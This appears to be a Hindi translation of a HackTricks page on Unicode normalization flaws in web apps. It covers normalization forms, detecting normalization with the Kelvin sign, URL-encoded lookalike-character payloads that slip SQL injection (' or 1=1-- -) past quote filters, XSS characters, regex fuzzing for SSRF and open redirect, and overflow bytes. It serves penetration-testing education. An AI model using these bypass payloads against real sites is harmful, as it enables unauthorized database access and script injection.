Unicode Normalization
Reading time: 7 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
यह एक सारांश है: https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/. आगे की जानकारी के लिए देखें (छवियाँ वहाँ से ली गई हैं)।
Unicode और Normalization को समझना
Unicode normalization एक प्रक्रिया है जो सुनिश्चित करती है कि वर्णों के विभिन्न बाइनरी प्रतिनिधित्व को एक ही बाइनरी मान में मानकीकृत किया जाए। यह प्रक्रिया प्रोग्रामिंग और डेटा प्रोसेसिंग में स्ट्रिंग्स के साथ काम करते समय महत्वपूर्ण है। Unicode मानक वर्ण समकक्षता के दो प्रकारों को परिभाषित करता है:
- Canonical Equivalence: वर्णों को कैनोनिकल रूप से समकक्ष माना जाता है यदि उनका प्रिंट या डिस्प्ले पर एक ही रूप और अर्थ होता है।
- Compatibility Equivalence: समकक्षता का एक कमजोर रूप जहाँ वर्ण एक ही अमूर्त वर्ण का प्रतिनिधित्व कर सकते हैं लेकिन अलग-अलग तरीके से प्रदर्शित किए जा सकते हैं।
चार Unicode normalization एल्गोरिदम हैं: NFC, NFD, NFKC, और NFKD। प्रत्येक एल्गोरिदम कैनोनिकल और संगतता सामान्यीकरण तकनीकों का उपयोग अलग-अलग तरीके से करता है। अधिक गहन समझ के लिए, आप इन तकनीकों का अन्वेषण कर सकते हैं Unicode.org पर।
Unicode Encoding पर मुख्य बिंदु
Unicode encoding को समझना महत्वपूर्ण है, विशेष रूप से विभिन्न प्रणालियों या भाषाओं के बीच इंटरऑपरेबिलिटी मुद्दों से निपटते समय। यहाँ मुख्य बिंदु हैं:
- कोड पॉइंट और वर्ण: Unicode में, प्रत्येक वर्ण या प्रतीक को एक संख्यात्मक मान दिया जाता है जिसे "कोड पॉइंट" कहा जाता है।
- बाइट्स प्रतिनिधित्व: कोड पॉइंट (या वर्ण) को मेमोरी में एक या अधिक बाइट्स द्वारा प्रदर्शित किया जाता है। उदाहरण के लिए, LATIN-1 वर्ण (अंग्रेजी बोलने वाले देशों में सामान्य) को एक बाइट का उपयोग करके प्रदर्शित किया जाता है। हालाँकि, जिन भाषाओं में वर्णों का बड़ा सेट होता है, उन्हें प्रतिनिधित्व के लिए अधिक बाइट्स की आवश्यकता होती है।
- Encoding: यह शब्द वर्णों को बाइट्स की एक श्रृंखला में परिवर्तित करने के तरीके को संदर्भित करता है। UTF-8 एक प्रचलित एन्कोडिंग मानक है जहाँ ASCII वर्णों को एक बाइट का उपयोग करके प्रदर्शित किया जाता है, और अन्य वर्णों के लिए चार बाइट्स तक।
- डेटा प्रोसेसिंग: डेटा प्रोसेसिंग करने वाली प्रणालियों को एन्कोडिंग के बारे में जागरूक होना चाहिए ताकि बाइट स्ट्रीम को सही तरीके से वर्णों में परिवर्तित किया जा सके।
- UTF के रूप: UTF-8 के अलावा, अन्य एन्कोडिंग मानक हैं जैसे UTF-16 (कम से कम 2 बाइट्स का उपयोग करते हुए, अधिकतम 4) और UTF-32 (सभी वर्णों के लिए 4 बाइट्स का उपयोग करते हुए)।
इन अवधारणाओं को समझना महत्वपूर्ण है ताकि Unicode की जटिलता और इसके विभिन्न एन्कोडिंग विधियों से उत्पन्न संभावित मुद्दों को प्रभावी ढंग से संभाला और कम किया जा सके।
Unicode के दो विभिन्न बाइट्स को सामान्यीकृत करने का एक उदाहरण जो एक ही वर्ण का प्रतिनिधित्व करते हैं:
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
एक सूची Unicode समकक्ष वर्णों की यहाँ पाई जा सकती है: https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html और https://0xacb.com/normalization_table
खोज
यदि आप किसी वेब ऐप के अंदर एक ऐसा मान ढूंढ सकते हैं जो वापस इको हो रहा है, तो आप ‘KELVIN SIGN’ (U+0212A) भेजने की कोशिश कर सकते हैं जो "K" में सामान्यीकृत होता है (आप इसे %e2%84%aa
के रूप में भेज सकते हैं)। यदि "K" वापस इको होता है, तो कुछ प्रकार की Unicode सामान्यीकरण की प्रक्रिया की जा रही है।
अन्य उदाहरण: %F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83
के बाद unicode Leonishan
है।
कमजोर उदाहरण
SQL Injection फ़िल्टर बायपास
कल्पना करें कि एक वेब पृष्ठ उपयोगकर्ता इनपुट के साथ SQL क्वेरी बनाने के लिए वर्ण '
का उपयोग कर रहा है। यह वेब, एक सुरक्षा उपाय के रूप में, उपयोगकर्ता इनपुट से वर्ण '
के सभी उदाहरणों को हटाता है, लेकिन उस हटाने के बाद और क्वेरी बनाने से पहले, यह उपयोगकर्ता के इनपुट को Unicode का उपयोग करके सामान्यीकृत करता है।
फिर, एक दुर्भावनापूर्ण उपयोगकर्ता ' (0x27)
के समकक्ष एक अलग Unicode वर्ण जैसे %ef%bc%87
डाल सकता है, जब इनपुट सामान्यीकृत होता है, तो एक सिंगल कोट बनाया जाता है और एक SQLInjection भेद्यता प्रकट होती है:
कुछ दिलचस्प Unicode वर्ण
o
-- %e1%b4%bcr
-- %e1%b4%bf1
-- %c2%b9=
-- %e2%81%bc/
-- %ef%bc%8f-
-- %ef%b9%a3#
-- %ef%b9%9f*
-- %ef%b9%a1'
-- %ef%bc%87"
-- %ef%bc%82|
-- %ef%bd%9c
' or 1=1-- -
%ef%bc%87+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3
" or 1=1-- -
%ef%bc%82+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3
' || 1==1//
%ef%bc%87+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
" || 1==1//
%ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
sqlmap टेम्पलेट
GitHub - carlospolop/sqlmap_to_unicode_template
XSS (क्रॉस साइट स्क्रिप्टिंग)
आप XSS का शोषण करने के लिए वेब ऐप को धोखा देने के लिए निम्नलिखित वर्णों में से एक का उपयोग कर सकते हैं:
ध्यान दें कि उदाहरण के लिए, पहले Unicode वर्ण को इस प्रकार भेजा जा सकता है: %e2%89%ae
या %u226e
फज़िंग Regexes
जब बैकएंड उपयोगकर्ता इनपुट को regex के साथ जांच रहा है, तो यह संभव है कि इनपुट को regex के लिए सामान्यीकृत किया जा रहा हो लेकिन जहां इसका उपयोग किया जा रहा है वहां नहीं। उदाहरण के लिए, एक Open Redirect या SSRF में regex भेजे गए URL को सामान्यीकृत कर सकता है लेकिन फिर इसे जैसा है वैसा ही एक्सेस कर सकता है।
उपकरण recollapse **** बैकएंड को फज़ करने के लिए इनपुट के विभिन्न रूपों को जनरेट करने की अनुमति देता है। अधिक जानकारी के लिए github और इस पोस्ट की जांच करें।
Unicode ओवरफ्लो
इस ब्लॉग से, एक बाइट का अधिकतम मान 255 है, यदि सर्वर कमजोर है, तो एक ओवरफ्लो को एक विशिष्ट और अप्रत्याशित ASCII वर्ण उत्पन्न करने के लिए तैयार किया जा सकता है। उदाहरण के लिए, निम्नलिखित वर्ण A
में परिवर्तित होंगे:
- 0x4e41
- 0x4f41
- 0x5041
- 0x5141
संदर्भ
- https://labs.spotify.com/2013/06/18/creative-usernames/
- https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work
- https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html
- https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।